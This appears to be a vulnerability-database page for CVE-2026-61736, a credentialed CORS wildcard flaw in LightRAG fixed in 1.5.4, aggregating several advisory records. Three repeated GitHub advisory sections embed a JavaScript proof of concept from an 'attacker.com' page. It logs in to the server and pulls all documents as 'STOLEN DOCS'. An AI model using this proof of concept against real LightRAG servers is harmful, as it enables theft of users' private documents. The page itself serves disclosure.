CVE-2026-61736
LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.4, the server defaults to CORS_ORIGINS=* combined with allow_credentials=True in lightrag/api/lightrag_server.py, causing Starlette CORSMiddleware to effectively whitelist every origin for credentialed cross-origin requests. Any malicious website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating documents and knowledge graph data or performing destructive actions such as deleting the document store. This vulnerability is fixed in 1.5.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
9.3
LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.4, the server defaults to CORS_ORIGINS=* combined with allow_credentials=True in lightrag/api/lightrag_server.py, causing Starlette CORSMiddleware to effectively whitelist every origin for credentialed cross-origin requests. Any malicious website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating documents and knowledge graph data or performing destructive actions such as deleting the document store. This vulnerability is fixed in 1.5.4.
- Record
CVE-2026-61736- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-942
- Updated
- 2026-11-02
EUVDEUVD-2026-44670
9.3
LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.4, the server defaults to CORS_ORIGINS=* combined with allow_credentials=True in lightrag/api/lightrag_server.py, causing Starlette CORSMiddleware to effectively whitelist every origin for credentialed cross-origin requests. Any malicious website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating documents and knowledge graph data or performing destructive actions such as deleting the document store. This vulnerability is fixed in 1.5.4.
- Record
EUVD-2026-44670- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-6x6h-qqr7-855w
9.3
LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
Summary
The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.
Details
# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*") # default wildcard
# lightrag/api/lightrag_server.py:1379
app.add_middleware(
CORSMiddleware,
allow_origins=["*"], # any origin
allow_credentials=True, # credentials — PROBLEM with wildcard
allow_methods=["*"],
allow_headers=["*"],
)
# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true
PoC
Host on any origin. Open in browser where user is logged in to LightRAG:
<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
// Get victim token (or re-use existing session)
const r1 = await fetch(`${TARGET}/login`, {
method: "POST", credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "username=victim&password=known_pass"
});
const { access_token } = await r1.json();
// Exfiltrate all documents
const docs = await (await fetch(`${TARGET}/documents`, {
credentials: "include",
headers: { Authorization: `Bearer ${access_token}` }
})).json();
console.log("STOLEN DOCS:", docs);
})();
</script>
Impact
Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.
- Record
GHSA-6x6h-qqr7-855w- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-942
- Updated
- 2026-11-02
NVD
9.3
LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.4, the server defaults to CORS_ORIGINS=* combined with allow_credentials=True in lightrag/api/lightrag_server.py, causing Starlette CORSMiddleware to effectively whitelist every origin for credentialed cross-origin requests. Any malicious website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating documents and knowledge graph data or performing destructive actions such as deleting the document store. This vulnerability is fixed in 1.5.4.
- Record
CVE-2026-61736- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-942
- Updated
- 2026-11-02
OSV
9.3
LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.4, the server defaults to CORS_ORIGINS=* combined with allow_credentials=True in lightrag/api/lightrag_server.py, causing Starlette CORSMiddleware to effectively whitelist every origin for credentialed cross-origin requests. Any malicious website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating documents and knowledge graph data or performing destructive actions such as deleting the document store. This vulnerability is fixed in 1.5.4.
- Record
CVE-2026-61736- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-942
- Updated
- 2026-11-02
OSVGHSA-6x6h-qqr7-855w
9.3
LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
Summary
The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.
Details
# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*") # default wildcard
# lightrag/api/lightrag_server.py:1379
app.add_middleware(
CORSMiddleware,
allow_origins=["*"], # any origin
allow_credentials=True, # credentials — PROBLEM with wildcard
allow_methods=["*"],
allow_headers=["*"],
)
# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true
PoC
Host on any origin. Open in browser where user is logged in to LightRAG:
<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
// Get victim token (or re-use existing session)
const r1 = await fetch(`${TARGET}/login`, {
method: "POST", credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "username=victim&password=known_pass"
});
const { access_token } = await r1.json();
// Exfiltrate all documents
const docs = await (await fetch(`${TARGET}/documents`, {
credentials: "include",
headers: { Authorization: `Bearer ${access_token}` }
})).json();
console.log("STOLEN DOCS:", docs);
})();
</script>
Impact
Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.
- Record
GHSA-6x6h-qqr7-855w- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-942
- Updated
- 2026-11-02
OSVPYSEC-2026-3474
9.3
LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
Summary
The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.
Details
# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*") # default wildcard
# lightrag/api/lightrag_server.py:1379
app.add_middleware(
CORSMiddleware,
allow_origins=["*"], # any origin
allow_credentials=True, # credentials — PROBLEM with wildcard
allow_methods=["*"],
allow_headers=["*"],
)
# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true
PoC
Host on any origin. Open in browser where user is logged in to LightRAG:
<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
// Get victim token (or re-use existing session)
const r1 = await fetch(`${TARGET}/login`, {
method: "POST", credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "username=victim&password=known_pass"
});
const { access_token } = await r1.json();
// Exfiltrate all documents
const docs = await (await fetch(`${TARGET}/documents`, {
credentials: "include",
headers: { Authorization: `Bearer ${access_token}` }
})).json();
console.log("STOLEN DOCS:", docs);
})();
</script>
Impact
Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.
- Record
PYSEC-2026-3474- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
lightrag-hkuPyPI |
through 1.5.3 | 1.5.4 |
lightrag-hkuPyPI |
before 1.5.4, plus listed versions 0.0.20.0.30.0.40.0.50.0.6 Show 45 moreShow less0.0.70.0.80.0.91.0.01.0.11.0.31.0.51.0.61.0.81.0.91.1.01.1.11.1.21.1.31.1.41.1.51.1.61.1.71.2.11.2.21.2.31.2.51.2.61.3.01.3.11.3.21.3.31.3.41.3.51.3.61.3.71.3.81.3.91.4.01.4.11.4.101.4.111.4.11rc21.4.121.4.12rc11.4.131.4.13rc11.4.141.4.151.4.16 |
1.5.4 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Nuclei | LightRAG <= 1.5.3 - Credentialed CORS Wildcard |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-61736 is a critical vulnerability (CVSS 9.3) in Hkuds Lightrag, published July 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.42%, the 72nd percentile. Fixed in lightrag-hku 1.5.4.
References
github.com/HKUDS/LightRAG/security/advisories/GHSA-6x6h-qqr7-855w
github.com/HKUDS/LightRAG/pull/3317
github.com/HKUDS/LightRAG/commit/09567a4c983f580050db63569dd477122c058c3d
github.com/HKUDS/LightRAG/commit/df68d75f9dc29dd340ffb6794b48f48c4fdc9a2d
github.com/HKUDS/LightRAG/commit/ebba6548639c0f2e8919100eff76b401f1222252
github.com/HKUDS/LightRAG/releases/tag/v1.5.4
Left out here: 37 versions. The JSON record has them.